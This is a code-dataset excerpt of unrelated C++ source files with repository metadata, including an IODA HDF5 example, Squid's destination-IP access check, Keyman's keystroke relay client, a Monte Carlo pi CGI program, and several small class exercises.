argv, "Example-05b.hdf5"); // Create an ObsGroup object using the ObsGroup::generate function. This function // takes a Group arguemnt (the backend we just created above) and a vector of dimension // creation specs. const int numLocs = 40; const int numChans = 30; const int sectionSize = 10; // experiment with different sectionSize values // The NewDimensionsScales_t is a vector, that holds specs for one dimension scale // per element. An individual dimension scale spec is held in a NewDimensionsScale // object, whose constructor arguments are: // 1st - dimension scale name // 2nd - size of dimension. May be zero. // 3rd - maximum size of dimension // resizeable dimensions are said to have "unlimited" size, so there // is a built-in variable ("Unlimited") that can be used to denote // unlimited size. If Unspecified (the default), we assume that the // maximum size is the same as the initial size (the previous parameter). // 4th - suggested chunk size for dimension (and associated variables). // This defaults to the initial size. This parameter must be nonzero. If // the initial size is zero, it must be explicitly specified. // // For transferring data in pieces, make sure that nlocs maximum dimension size is // set to Unlimited. We'll set the initial size of nlocs to the sectionSize (10). ioda::NewDimensionScales_t newDims{ NewDimensionScale<int>("nlocs", sectionSize, Unlimited), NewDimensionScale<int>("nchans", numChans) }; // Construct an ObsGroup object, with 2 dimensions nlocs, nchans, and attach // the backend we constructed above. Under the hood, the ObsGroup::generate function // initializes the dimension coordinate values to index numbering 1..n. This can be // overwritten with other coordinate values if desired. ObsGroup og = ObsGroup::generate(g, newDims); // We now have the top-level group containing the two dimension scales. We need // Variable objects for these dimension scales later on for creating variables so // build those now. ioda::Variable nlocsVar = og.vars["nlocs"]; ioda::Variable nchansVar = og.vars["nchans"]; // Next let's create the variables. The variable names should be specified using the // hierarchy as described above. For example, the variable brightness_temperature // in the group ObsValue is specified in a string as "ObsValue/brightness_temperature". string tbName = "ObsValue/brightness_temperature"; string latName = "MetaData/latitude"; string lonName = "MetaData/longitude"; // Set up the creation parameters for the variables. All three variables in this case // are float types, so they can share the same creation parameters object. ioda::VariableCreationParameters float_params; float_params.chunk = true; // allow chunking float_params.compressWithGZIP(); // compress using gzip float_params.setFillValue<float>(-999); // set the fill value to -999 // Create the variables. Note the use of the createWithScales function. This should // always be used when working with an ObsGroup object. Variable tbVar = og.vars.createWithScales<float>(tbName, {nlocsVar, nchansVar}, float_params); Variable latVar = og.vars.createWithScales<float>(latName, {nlocsVar}, float_params); Variable lonVar = og.vars.createWithScales<float>(lonName, {nlocsVar}, float_params); // Add attributes to variables. In this example, we are adding enough attribute // information to allow Panoply to be able to plot the ObsValue/brightness_temperature // variable. Note the "coordinates" attribute on tbVar. It is sufficient to just // give the variable names (without the group structure) to Panoply (which apparently // searches the entire group structure for these names). If you want to follow this // example in your code, just give the variable names without the group prefixes // to insulate your code from any subsequent group structure changes that might occur. tbVar.atts.add<std::string>("coordinates", {"longitude latitude nchans"}, {1}) .add<std::string>("long_name", {"ficticious brightness temperature"}, {1}) .add<std::string>("units", {"K"}, {1}) .add<float>("valid_range", {100.0, 400.0}, {2}); latVar.atts.add<std::string>("long_name", {"latitude"}, {1}) .add<std::string>("units", {"degrees_north"}, {1}) .add<float>("valid_range", {-90.0, 90.0}, {2}); lonVar.atts.add<std::string>("long_name", {"longitude"}, {1}) .add<std::string>("units", {"degrees_east"}, {1}) .add<float>("valid_range", {-360.0, 360.0}, {2}); // Let's create some data for this example. Eigen::ArrayXXf tbData(numLocs, numChans); std::vector<float> lonData(numLocs); std::vector<float> latData(numLocs); float midLoc = static_cast<float>(numLocs) / 2.0f; float midChan = static_cast<float>(numChans) / 2.0f; for (std::size_t i = 0; i < numLocs; ++i) { lonData[i] = static_cast<float>(i % 8) * 3.0f; // We use static code analysis tools to check for potential bugs // in our source code. On the next line, the clang-tidy tool warns about // our use of integer division before casting to a float. Since there is // no actual bug, we indicate this with NOLINT. latData[i] = static_cast<float>(i / 8) * 3.0f; // NOLINT(bugprone-integer-division) for (std::size_t j = 0; j < numChans; ++j) { float del_i = static_cast<float>(i) - midLoc; float del_j = static_cast<float>(j) - midChan; tbData(i, j) = 250.0f + sqrt(del_i * del_i + del_j * del_j); } } // Transfer the data piece by piece. In this case we are moving consecutive, // contiguous pieces from the source to the backend. // // Things to consider: // If numLocs/sectionSize has a remainder, then the final section needs to be // smaller to match up. // // The new size for resizing the variables needs to be the current size // plus the count for this section. std::size_t numLocsTransferred = 0; std::size_t isection = 1; int fwidth = 10; std::cout << "Transferring data in sections to backend:" << std::endl << std::endl; std::cout << std::setw(fwidth) << "Section" << std::setw(fwidth) << "Start" << std::setw(fwidth) << "Count" << std::setw(fwidth) << "Resize" << std::endl; while (numLocsTransferred < numLocs) { // Figure out the starting point and size (count) for the current piece. std::size_t sectionStart = numLocsTransferred; std::size_t sectionCount = sectionSize; if ((sectionStart + sectionCount) > numLocs) { sectionCount = numLocs - sectionStart; } // Figure out the new size for the nlocs dimension Dimensions nlocsDims = nlocsVar.getDimensions(); Dimensions_t nlocsNewSize = (isection == 1) ? sectionCount : nlocsDims.dimsCur[0] + sectionCount; // Print out stats so you can see what's going on std::cout << std::setw(fwidth) << isection << std::setw(fwidth) << sectionStart << std::setw(fwidth) << sectionCount << std::setw(fwidth) << nlocsNewSize << std::endl; // Resize the nlocs dimension og.resize({std::pair<Variable, Dimensions_t>(nlocsVar, nlocsNewSize)}); // Create selection objects for transferring the data // We'll use the HDF5 hyperslab style of selection which denotes a start index // and count for each dimension. The start and count values need to be vectors // where the ith entry corresponds to the ith dimension of the variable. Latitue // and longitude are 1D and Tb is 2D. Start with 1D starts and counts denoting // the sections to transfer for lat and lon, then add the start and count values // for channels and transfer Tb. // starts and counts for lat and lon std::vector<Dimensions_t> starts(1, sectionStart); std::vector<Dimensions_t> counts(1, sectionCount); Selection feSelect; feSelect.extent({nlocsNewSize}).select({SelectionOperator::SET, starts, counts}); Selection beSelect; beSelect.select({SelectionOperator::SET, starts, counts}); latVar.write<float>(latData, feSelect, beSelect); lonVar.write<float>(lonData, feSelect, beSelect); // Add the start and count values for the channels dimension. We will select // all channels, so start is zero, and count is numChans starts.push_back(0); counts.push_back(numChans); Selection feSelect2D; feSelect2D.extent({nlocsNewSize, numChans}).select({SelectionOperator::SET, starts, counts}); Selection beSelect2D; beSelect2D.select({SelectionOperator::SET, starts, counts}); tbVar.writeWithEigenRegular(tbData, feSelect2D, beSelect2D); numLocsTransferred += sectionCount; isection++; } // The ObsGroup::generate program has, under the hood, automatically assigned // the coordinate values for nlocs and nchans dimension scale variables. The // auto-assignment uses the values 1..n upon creation. Since we resized nlocs, // the coordinates at this point will be set to 1..sectionSize followed by all // zeros to the end of the variable. This can be addressed two ways: // // 1. In the above loop, add a write to the nlocs variable with the corresponding // coordinate values for each section. // 2. In the case where you simply want 1..n as the coordinate values, wait // until transferring all the sections of variable data, check the size // of the nlocs variable, and write the entire 1..n values to the variable. // // We'll do option 2 here int nlocsSize = gsl::narrow<int>(nlocsVar.getDimensions().dimsCur[0]); std::vector<int> nlocsVals(nlocsSize); std::iota(nlocsVals.begin(), nlocsVals.end(), 1); nlocsVar.write(nlocsVals); // Done! } catch (const std::exception& e) { ioda::unwind_exception_stack(e); return 1; } return 0; }
48.455285
100
0.654698
Gibies
721ba8ca705716f1448757db5bf34109112c4d89
981
cpp
C++
Online Assignment 01/Version C/Version C - Thushara.cpp
GIHAA/Cpp-programming
0b094868652fd83f8dc4eb02c5abe3c3501bcdf1
[ "MIT" ]
19
2021-04-28T13:32:15.000Z
2022-03-08T11:52:59.000Z
Online Assignment 01/Version C/Version C - Thushara.cpp
GIHAA/Cpp-programming
0b094868652fd83f8dc4eb02c5abe3c3501bcdf1
[ "MIT" ]
5
2021-03-03T08:06:15.000Z
2021-12-26T18:14:45.000Z
Online Assignment 01/Version C/Version C - Thushara.cpp
GIHAA/Cpp-programming
0b094868652fd83f8dc4eb02c5abe3c3501bcdf1
[ "MIT" ]
27
2021-01-18T22:35:01.000Z
2022-02-22T19:52:19.000Z
// Paper Version : C #include<iostream> using namespace std; // Class declarration class Lab { private: int labID; int capacity; public: void setLabDetails(int lID, int c); int getCapacity(); }; int main() { // Create an Objects Lab l1, l2, l3; // Set values to Objects l1.setLabDetails(401, 60); l2.setLabDetails(402, 40); l3.setLabDetails(403, 30); int capacity; cout << "Insert Capacity : "; cin >> capacity; if(capacity <= l3.getCapacity()){ cout << "Lab 403" << endl; } else if(capacity <= l2.getCapacity()){ cout << "Lab 402" << endl; } else if(capacity <= l1.getCapacity()){ cout << "Lab 401" << endl; } else{ cout << "Invalid input" << endl; } return 0; } // Class methods definition void Lab::setLabDetails(int lID, int c) { labID = lID; capacity = c; } int Lab::getCapacity() { return capacity; }
16.913793
43
0.552497
GIHAA
721def850ee1995eaafab2a11d042e460b26374e
761
cpp
C++
Source/Dynamics/RigidBody/SphericalJoint.cpp
weikm/sandcarSimulation2
fe499d0a3289c0ac1acce69c7dc78d8ce1b2708a
[ "Apache-2.0" ]
null
null
null
Source/Dynamics/RigidBody/SphericalJoint.cpp
weikm/sandcarSimulation2
fe499d0a3289c0ac1acce69c7dc78d8ce1b2708a
[ "Apache-2.0" ]
null
null
null
Source/Dynamics/RigidBody/SphericalJoint.cpp
weikm/sandcarSimulation2
fe499d0a3289c0ac1acce69c7dc78d8ce1b2708a
[ "Apache-2.0" ]
null
null
null
#include "SphericalJoint.h" //#include "Dynamics/RigidBody/RigidUtil.h" namespace PhysIKA { SphericalJoint::SphericalJoint(std::string name) : Joint(name) { } SphericalJoint::SphericalJoint(Node* predecessor, Node* successor) : Joint(predecessor, successor) { } void SphericalJoint::setJointInfo(const Vector3f& r) { for (int i = 0; i < 3; ++i) { Vector3f unit_axis; unit_axis[i] = 1; Vector3f v = unit_axis.cross(r); this->m_S(0, i) = unit_axis[0]; this->m_S(1, i) = unit_axis[1]; this->m_S(2, i) = unit_axis[2]; this->m_S(3, i) = -v[0]; this->m_S(4, i) = -v[1]; this->m_S(5, i) = -v[2]; this->m_S.getBases()[i].normalize(); } } } // namespace PhysIKA
21.138889
66
0.579501
weikm
721fc0dd32783489fb6b161f3d1cde85534f2d79
4,049
cc
C++
squid/squid3-3.3.8.spaceify/src/acl/DestinationIp.cc
spaceify/spaceify
4296d6c93cad32bb735cefc9b8157570f18ffee4
[ "MIT" ]
4
2015-01-20T15:25:34.000Z
2017-12-20T06:47:42.000Z
squid/squid3-3.3.8.spaceify/src/acl/DestinationIp.cc
spaceify/spaceify
4296d6c93cad32bb735cefc9b8157570f18ffee4
[ "MIT" ]
4
2015-05-15T09:32:55.000Z
2016-02-18T13:43:31.000Z
squid/squid3-3.3.8.spaceify/src/acl/DestinationIp.cc
spaceify/spaceify
4296d6c93cad32bb735cefc9b8157570f18ffee4
[ "MIT" ]
null
null
null
/* * DEBUG: section 28 Access Control * AUTHOR: Duane Wessels * * SQUID Web Proxy Cache http://www.squid-cache.org/ * ---------------------------------------------------------- * * Squid is the result of efforts by numerous individuals from * the Internet community; see the CONTRIBUTORS file for full * details. Many organizations have provided support for Squid's * development; see the SPONSORS file for full details. Squid is * Copyrighted (C) 2001 by the Regents of the University of * California; see the COPYRIGHT file for full details. Squid * incorporates software developed and/or copyrighted by other * sources; see the CREDITS file for full details. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111, USA. * * Copyright (c) 2003, Robert Collins <robertc@squid-cache.org> */ #include "squid.h" #include "acl/DestinationIp.h" #include "acl/FilledChecklist.h" #include "client_side.h" #include "comm/Connection.h" #include "HttpRequest.h" #include "SquidConfig.h" char const * ACLDestinationIP::typeString() const { return "dst"; } int ACLDestinationIP::match(ACLChecklist *cl) { ACLFilledChecklist *checklist = Filled(cl); // Bug 3243: CVE 2009-0801 // Bypass of browser same-origin access control in intercepted communication // To resolve this we will force DIRECT and only to the original client destination. // In which case, we also need this ACL to accurately match the destination if (Config.onoff.client_dst_passthru && (checklist->request->flags.intercepted || checklist->request->flags.spoofClientIp)) { assert(checklist->conn() && checklist->conn()->clientConnection != NULL); return ACLIP::match(checklist->conn()->clientConnection->local); } const ipcache_addrs *ia = ipcache_gethostbyname(checklist->request->GetHost(), IP_LOOKUP_IF_MISS); if (ia) { /* Entry in cache found */ for (int k = 0; k < (int) ia->count; ++k) { if (ACLIP::match(ia->in_addrs[k])) return 1; } return 0; } else if (!checklist->request->flags.destinationIpLookedUp) { /* No entry in cache, lookup not attempted */ debugs(28, 3, "aclMatchAcl: Can't yet compare '" << name << "' ACL for '" << checklist->request->GetHost() << "'"); checklist->changeState (DestinationIPLookup::Instance()); return 0; } else { return 0; } } DestinationIPLookup DestinationIPLookup::instance_; DestinationIPLookup * DestinationIPLookup::Instance() { return &instance_; } void DestinationIPLookup::checkForAsync(ACLChecklist *cl)const { ACLFilledChecklist *checklist = Filled(cl); checklist->asyncInProgress(true); ipcache_nbgethostbyname(checklist->request->GetHost(), LookupDone, checklist); } void DestinationIPLookup::LookupDone(const ipcache_addrs *, const DnsLookupDetails &details, void *data) { ACLFilledChecklist *checklist = Filled((ACLChecklist*)data); assert (checklist->asyncState() == DestinationIPLookup::Instance()); checklist->request->flags.destinationIpLookedUp=true; checklist->request->recordLookup(details); checklist->asyncInProgress(false); checklist->changeState (ACLChecklist::NullState::Instance()); checklist->matchNonBlocking(); } ACL * ACLDestinationIP::clone() const { return new ACLDestinationIP(*this); }
34.905172
129
0.694492
spaceify
7220b26be69e6aee31ac9da80d0d52fbbfac3d00
672
hpp
C++
src/ProjectForecast/Views/HumanView.hpp
yxbh/Project-Forecast
8ea2f6249a38c9e7f4d6d7d1e51e11ad0b05c2c4
[ "BSD-3-Clause" ]
4
2019-04-09T13:03:11.000Z
2021-01-27T04:58:29.000Z
src/ProjectForecast/Views/HumanView.hpp
yxbh/Project-Forecast
8ea2f6249a38c9e7f4d6d7d1e51e11ad0b05c2c4
[ "BSD-3-Clause" ]
2
2017-02-06T03:48:45.000Z
2020-08-31T01:30:10.000Z
src/ProjectForecast/Views/HumanView.hpp
yxbh/Project-Forecast
8ea2f6249a38c9e7f4d6d7d1e51e11ad0b05c2c4
[ "BSD-3-Clause" ]
4
2020-06-28T08:19:53.000Z
2020-06-28T16:30:19.000Z
#pragma once #include "../InputControllers/InputControllers.hpp" #include "KEngine/Interfaces/IEvent.hpp" #include "KEngine/Views/HumanView.hpp" namespace sf { class Event; } namespace pf { class HumanView : public ke::HumanView { public: HumanView(); virtual ~HumanView(); virtual void attachEntity(ke::EntityId entityId) override; virtual void update(ke::Time elapsedTime) override; private: void handleWindowEvent(ke::EventSptr event); std::string testTextBuffer; ke::MouseInputControllerUptr mouseController; ke::KeyboardInputControllerUptr keyboardController; }; }
19.2
66
0.678571
yxbh
7224c60576efa277fb91c372b8811437eb8fbbbc
2,450
cpp
C++
11_CPP/08_CPP08/ex01/span.cpp
tderwedu/42cursus
2f56b87ce87227175e7a297d850aa16031acb0a8
[ "Unlicense" ]
null
null
null
11_CPP/08_CPP08/ex01/span.cpp
tderwedu/42cursus
2f56b87ce87227175e7a297d850aa16031acb0a8
[ "Unlicense" ]
null
null
null
11_CPP/08_CPP08/ex01/span.cpp
tderwedu/42cursus
2f56b87ce87227175e7a297d850aa16031acb0a8
[ "Unlicense" ]
null
null
null
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* span.cpp :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: tderwedu <tderwedu@student.s19.be> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/10/25 18:41:16 by tderwedu #+# #+# */ /* Updated: 2021/10/27 10:31:27 by tderwedu ### ########.fr */ /* */ /* ************************************************************************** */ #include "span.hpp" /* ======================= CONSTRUCTORS / DESTRUCTORS ======================= */ Span::Span(int n) : _N(n) {} Span::Span(Span const& src): _N(src._N), _vec(src._vec) {} Span::~Span() {} /* ============================ MEMBER FUNCTIONS ============================ */ void Span::addNumber(int nbr) { if (_vec.size() == _N) throw OutOfRangeException(); _vec.push_back(nbr); } int Span::shortestSpan(void) const { std::vector<int> diff(_vec); std::vector<int> sorted(_vec); if (_N < 2) throw NotEnoughItemsException(); std::sort(sorted.begin(), sorted.end()); std::transform(++sorted.begin(), sorted.end(), sorted.begin(), diff.begin(), std::minus<int>()); return (*std::min_element(diff.begin(), --diff.end())); } int Span::longestSpan(void) const { int min; int max; if (_N < 2) throw NotEnoughItemsException(); min = *std::min_element(_vec.begin(), _vec.end()); max = *std::max_element(_vec.begin(), _vec.end()); return (max - min); } /* =========================== OPERATOR OVERLOADS =========================== */ Span& Span::operator=(Span const& src) { if (this != &src) { _N = src._N; _vec = src._vec; } return (*this); } int& Span::operator[](t_ui i) { if (i > _N) throw OutOfRangeException(); return _vec[i]; } /* =============================== EXCEPTIONS =============================== */ char const* Span::OutOfRangeException::what() const throw() { return "Out Of Range"; } char const* Span::NotEnoughItemsException::what() const throw() { return "Not Enough Items"; }
28.488372
97
0.388571
tderwedu
7227476512d2e151478de9c3458c12f99b947667
4,319
cpp
C++
src/main.cpp
tbukic/CubicSpline
f851ffeca38c89ef124bd4cadecf189a6373596c
[ "MIT" ]
2
2020-04-13T20:15:48.000Z
2021-03-18T08:44:50.000Z
src/main.cpp
tbukic/CubicSpline
f851ffeca38c89ef124bd4cadecf189a6373596c
[ "MIT" ]
null
null
null
src/main.cpp
tbukic/CubicSpline
f851ffeca38c89ef124bd4cadecf189a6373596c
[ "MIT" ]
null
null
null
/* * main.cpp * * Created on: Nov, 2015 * Author: Tomislav */ #include <cstdlib> #include <iostream> #include <fstream> #include <memory> #include <utility> #include <string> #include <stdexcept> #include <sstream> #include "CubicSpline/CubicSpline.h" using node = CubicSpline::node; using function = CubicSpline::function; using function_ptr = CubicSpline::function_ptr; using second_derivatives = std::pair<double, double>; using function_data = std::pair< function_ptr, std::unique_ptr<second_derivatives> >; using spline_ptr = std::unique_ptr<CubicSpline>; std::istream & operator>>(std::istream & input, function_data & data) { data.first->clear(); std::string readed; while (std::getline(input, readed)) { if (readed.empty()) { // reads until empty line break; } std::istringstream s_stream(readed); double point, value; if (!(s_stream >> point) || !(s_stream >> value) || !s_stream.eof()) { throw std::runtime_error("Bad input!"); } data.first->push_back(node(point, value)); } std::getline(input, readed); std::istringstream s_stream(readed); if ( !(s_stream >> data.second->first) || !(s_stream >> data.second->second) || !s_stream.eof() ) { throw std::runtime_error("Bad input!"); } return input; } void run_interpolation(spline_ptr spline) { const std::string EXIT_INPUT = "exit", PROMPT = ">"; std::cout << "Function is defined on interval [" << spline->min_defined() << ", " << spline->max_defined() << "]." << std::endl << "Nodes are:" << std::endl << std::endl << spline->nodes_printer << std::endl << "Interpolation starts. To quit program, " << "type: '" << EXIT_INPUT << "'. " << std::endl; std::string input; bool show_message = true; while(true) { if (show_message) { std::cout << "Enter value you want to interpolate:" << std::endl; } else { show_message = true; } std::cout << PROMPT; std::getline(std::cin, input); if (EXIT_INPUT == input) { return; } if ("nodes" == input) { std::cout << spline->nodes_printer; continue; } std::stringstream s_stream(input); double x; if (!(s_stream >> x) || !s_stream.eof()) { std::cout << "Input is not a number." << std::endl; continue; } if (!(*spline)[x]) { std::cout << "Value " << x << " is not in domain of the spline." << std::endl << "Spline is defined on interval [" << spline->min_defined() << ", " << spline->max_defined() << "]." << std::endl; continue; } std::cout << "spline(" << x << ")=" << (*spline)(x) << std::endl; show_message = false; } } int main(int argc, char * argv[]) { function_data data = std::make_pair( function_ptr(new function()), std::unique_ptr<second_derivatives>(new second_derivatives()) ); if (argc == 1) { // reading from console: try { std::cout << "Enter data for nodes and second derivatives." << std::endl << "In every row, enter one node and it's" << " functional value, separated by blanks." << std::endl << "After entering data for all nodes, enter empty line," << " and after that," << std::endl << "enter values of second derivatives " << "in first and last node, separated by blanks." << std::endl; std::cin >> data; } catch (std::exception & e) { std::cout << "Error in input." << std::endl; return EXIT_FAILURE; } } else if (argc == 2) { // reading from file (speeds up testing!): std::ifstream input(argv[1]); if (!input.good()) { input.close(); std::cout << "File does not exist." << std::endl; return EXIT_FAILURE; } try { input >> data; } catch (std::exception & e) { input.close(); std::cout << "File is badly formated." << std::endl; return EXIT_FAILURE; } input.close(); } else { // bad arguments std::cout << "Program doesn't work with more than 1 argument." << std::endl; return EXIT_FAILURE; } try { run_interpolation( std::move(spline_ptr(new CubicSpline( std::move(data.first), data.second->first, data.second->second ))) ); data.first = nullptr; } catch (std::runtime_error & e){ std::cout << e.what() << std::endl; return EXIT_FAILURE; } catch (...) { std::cout << "Error in program." << std::endl; return EXIT_FAILURE; } return EXIT_SUCCESS; }
24.821839
72
0.611253
tbukic
722903e6c3d0c9d980b2fdf89075eb6c36c8fe7b
4,475
cpp
C++
windows/src/engine/keyman32/serialkeyeventclient.cpp
srl295/keyman
4dfd0f71f3f4ccf81d1badbd824900deee1bb6d1
[ "MIT" ]
219
2017-06-21T03:37:03.000Z
2022-03-27T12:09:28.000Z
windows/src/engine/keyman32/serialkeyeventclient.cpp
srl295/keyman
4dfd0f71f3f4ccf81d1badbd824900deee1bb6d1
[ "MIT" ]
4,451
2017-05-29T02:52:06.000Z
2022-03-31T23:53:23.000Z
windows/src/engine/keyman32/serialkeyeventclient.cpp
srl295/keyman
4dfd0f71f3f4ccf81d1badbd824900deee1bb6d1
[ "MIT" ]
72
2017-05-26T04:08:37.000Z
2022-03-03T10:26:20.000Z
#include "pch.h" #include "serialkeyeventclient.h" #include "security.h" // // Client application functionality // class SerialKeyEventClient : public ISerialKeyEventClient { private: HANDLE m_hKeyEvent = 0; HANDLE m_hKeyMutex = 0; HANDLE m_hMMF = 0; SerialKeyEventSharedData *m_pSharedData = NULL; public: SerialKeyEventClient() { // // Initialisation // m_pSharedData = NULL; m_hKeyEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, GLOBAL_KEY_EVENT_NAME); if (m_hKeyEvent == 0) { DebugLastError("OpenEvent"); return; } m_hKeyMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, GLOBAL_KEY_MUTEX_NAME); if (m_hKeyMutex == 0) { DebugLastError("OpenMutex"); return; } m_hMMF = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, GLOBAL_FILE_MAPPING_NAME); if (m_hMMF == 0) { DebugLastError("OpenFileMapping"); return; } m_pSharedData = (SerialKeyEventSharedData *)MapViewOfFile(m_hMMF, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(SerialKeyEventSharedData)); if (!m_pSharedData) { DebugLastError("MapViewOfFile"); return; } } SerialKeyEventClient::~SerialKeyEventClient() { if (m_pSharedData != NULL) { if (!UnmapViewOfFile(m_pSharedData)) { DebugLastError("UnmapViewOfFile"); } } if (m_hMMF != NULL) { if (!CloseHandle(m_hMMF)) { DebugLastError("CloseHandle(m_hMMF)"); } } if (m_hKeyMutex != NULL) { if (!CloseHandle(m_hKeyMutex)) { DebugLastError("CloseHandle(m_hKeyMutex)"); } } if (m_hKeyEvent != NULL) { if (!CloseHandle(m_hKeyEvent)) { DebugLastError("CloseHandle(m_hKeyEvent)"); } } } /** Provide a copy of the input data to the Key Event Sender thread and signal it to send the input back to the client application. */ BOOL SerialKeyEventClient::SignalServer(PINPUT pInputs, DWORD nInputs) { if (m_pSharedData == NULL) { // Initialisation failed, don't even try return FALSE; } // // Check inputs // if (nInputs > MAX_KEYEVENT_INPUTS) { SendDebugMessageFormat(0, sdmGlobal, 0, "Too many INPUT events for queue (%d)", nInputs); nInputs = MAX_KEYEVENT_INPUTS; } if (nInputs == 0) { // Don't need to signal sender, nothing to send return TRUE; } // // Capture the mutex and copy input buffer into global shared buffer. We have a fairly // short buffer here to avoid stalling the active application for too long if for some // reason Keyman's g_SerialKeyEventServer thread is not responding. // switch (WaitForSingleObject(m_hKeyMutex, 500)) { case WAIT_OBJECT_0: break; case WAIT_TIMEOUT: SendDebugMessage(0, sdmGlobal, 0, "Timed out waiting to send input to host app"); return FALSE; case WAIT_ABANDONED_0: SendDebugMessage(0, sdmGlobal, 0, "Host app closed mutex"); return FALSE; case WAIT_FAILED: default: DebugLastError("WaitForSingleObject"); return FALSE; } // // Copy the INPUT objects into our cross-platform-safe structure // m_pSharedData->nInputs = nInputs; for (DWORD i = 0; i < nInputs; i++) { m_pSharedData->inputs[i].wVk = pInputs[i].ki.wVk; m_pSharedData->inputs[i].wScan = pInputs[i].ki.wScan; m_pSharedData->inputs[i].dwFlags = pInputs[i].ki.dwFlags; m_pSharedData->inputs[i].time = pInputs[i].ki.time; m_pSharedData->inputs[i].extraInfo = pInputs[i].ki.dwExtraInfo; } // // Force CPU to complete all memory operations before we signal the host // MemoryBarrier(); // // Release the mutex and signal the host application to process the input // if (!ReleaseMutex(m_hKeyMutex)) { DebugLastError("ReleaseMutex"); return FALSE; } if (!SetEvent(m_hKeyEvent)) { DebugLastError("SetEvent"); return FALSE; } return TRUE; } }; void ISerialKeyEventClient::Startup() { OutputThreadDebugString("ISerialKeyEventClient::Startup"); PKEYMAN64THREADDATA _td = ThreadGlobals(); if (_td) { _td->pSerialKeyEventClient = new SerialKeyEventClient(); } } void ISerialKeyEventClient::Shutdown() { OutputThreadDebugString("ISerialKeyEventClient::Shutdown"); PKEYMAN64THREADDATA _td = ThreadGlobals(); if (_td && _td->pSerialKeyEventClient) { delete _td->pSerialKeyEventClient; _td->pSerialKeyEventClient = NULL; } }
26.796407
131
0.656983
srl295
722ddf61e7b1087a84fcfaaa46ec96d86a796161
949
cpp
C++
src/lib/base/Fitness.cpp
cantordust/cortex
0afe4b8c8c3e1b103541188301c3f445ee5d165d
[ "MIT" ]
2
2017-07-04T03:17:15.000Z
2017-07-04T22:38:59.000Z
src/lib/base/Fitness.cpp
cantordust/cortex
0afe4b8c8c3e1b103541188301c3f445ee5d165d
[ "MIT" ]
1
2017-07-04T03:31:54.000Z
2017-07-04T22:38:48.000Z
src/lib/base/Fitness.cpp
cantordust/cortex
0afe4b8c8c3e1b103541188301c3f445ee5d165d
[ "MIT" ]
null
null
null
#include "Param.hpp" #include "Fitness.hpp" namespace Cortex { Fitness::Fitness(Config& _cfg) : cfg(_cfg), eff(Eff::Undef) { stat.ema_coeff = cfg.fit.ema.coeff; stat.window_size = std::floor(2.0 / stat.ema_coeff) - 1; } void Fitness::set_abs(const real _abs_fit) { if (_abs_fit > stat.abs) { eff = Eff::Inc; } else if (_abs_fit < stat.abs) { eff = Eff::Dec; } else { eff = Eff::Undef; } stat.add(_abs_fit); feedback(); } void Fitness::feedback() { switch (cfg.mutation.opt) { case Opt::Anneal: for (auto&& param : params) { param.get().anneal(stat.abs); } break; case Opt::Trend: for (auto&& param : params) { param.get().set_trend(eff); } break; default: break; } /// Increase the SD if we haven't made any progress if (progress() <= 0.5) { for (auto&& param : params) { param.get().inc_sd(); } } params.clear(); } }
14.164179
58
0.56902
cantordust
722e75a64a0582a9077f5e1aecc824c32fc07610
362
cpp
C++
examples/btree.cpp
hiyouga/CPP-Learning
e05324bc73ae91a09d51145ecd21af78487405f2
[ "MIT" ]
null
null
null
examples/btree.cpp
hiyouga/CPP-Learning
e05324bc73ae91a09d51145ecd21af78487405f2
[ "MIT" ]
null
null
null
examples/btree.cpp
hiyouga/CPP-Learning
e05324bc73ae91a09d51145ecd21af78487405f2
[ "MIT" ]
null
null
null
#include <iostream> #include "btree.h" using namespace std; int main() { char str[80] = "+(*(/(A,^(B,C)),D),E)"; BTree<char> bt; bt.CreateBTree(str); cout << bt.BTNodeHeight() << endl; bt.DispBTree(); cout << endl; bt.PreOrder(); cout << endl; bt.InOrder(); cout << endl; bt.PostOrder(); cout << endl; bt.LevelOrder(); cout << endl; return 0; }
15.083333
40
0.593923
hiyouga
722e9b544c4e21eba7406114aaf8cc67e51f89b9
1,238
cpp
C++
src/cgi-calculatepi.cpp
fdiblen/cpp2wasm
1f4424ee586225ddee6680adaf8274031b4bd559
[ "Apache-2.0" ]
null
null
null
src/cgi-calculatepi.cpp
fdiblen/cpp2wasm
1f4424ee586225ddee6680adaf8274031b4bd559
[ "Apache-2.0" ]
null
null
null
src/cgi-calculatepi.cpp
fdiblen/cpp2wasm
1f4424ee586225ddee6680adaf8274031b4bd559
[ "Apache-2.0" ]
null
null
null
// this C++ snippet is stored as src/cgi-calculatepi.hpp #include <string> #include <iostream> #include <nlohmann/json.hpp> // this C++ code snippet is later referred to as <<algorithm>> #include <iostream> #include <math.h> #include "calculatepi.hpp" #define SEED 35791246 namespace pirng { PiCalculate::PiCalculate(double niter) : niter(niter) {} // Function to calculate PI double PiCalculate::calculate() { srand(SEED); double x, y; int i, count = 0; double z; std::cout << "Iterations : " << niter << std::endl; for ( i = 0; i < niter; i++) { x = (double)rand()/RAND_MAX; y = (double)rand()/RAND_MAX; z = x*x + y*y; if (z <= 1) count++; } return (double)count/niter*4; }; } // namespace pirng int main(int argc, char *argv[]) { std::cout << "Content-type: application/json" << std::endl << std::endl; // Retrieve niter from request body nlohmann::json request(nlohmann::json::parse(std::cin)); double niter = request["niter"]; // Calculate PI pirng::PiCalculate pifinder(niter); double pi = pifinder.calculate(); // Assemble response nlohmann::json response; response["niter"] = niter; response["pi"] = pi; std::cout << response.dump(2) << std::endl; return 0; }
21.344828
74
0.64378
fdiblen
722fc6fdde7ffe26c6b78f9b759ae10974128a59
2,968
cpp
C++
Trimming/ImageInfo.cpp
AinoMegumi/TokidolRankingOCREngine
225bf6fe328aa4dcd653bf095aff88632c9bac96
[ "MIT" ]
null
null
null
Trimming/ImageInfo.cpp
AinoMegumi/TokidolRankingOCREngine
225bf6fe328aa4dcd653bf095aff88632c9bac96
[ "MIT" ]
null
null
null
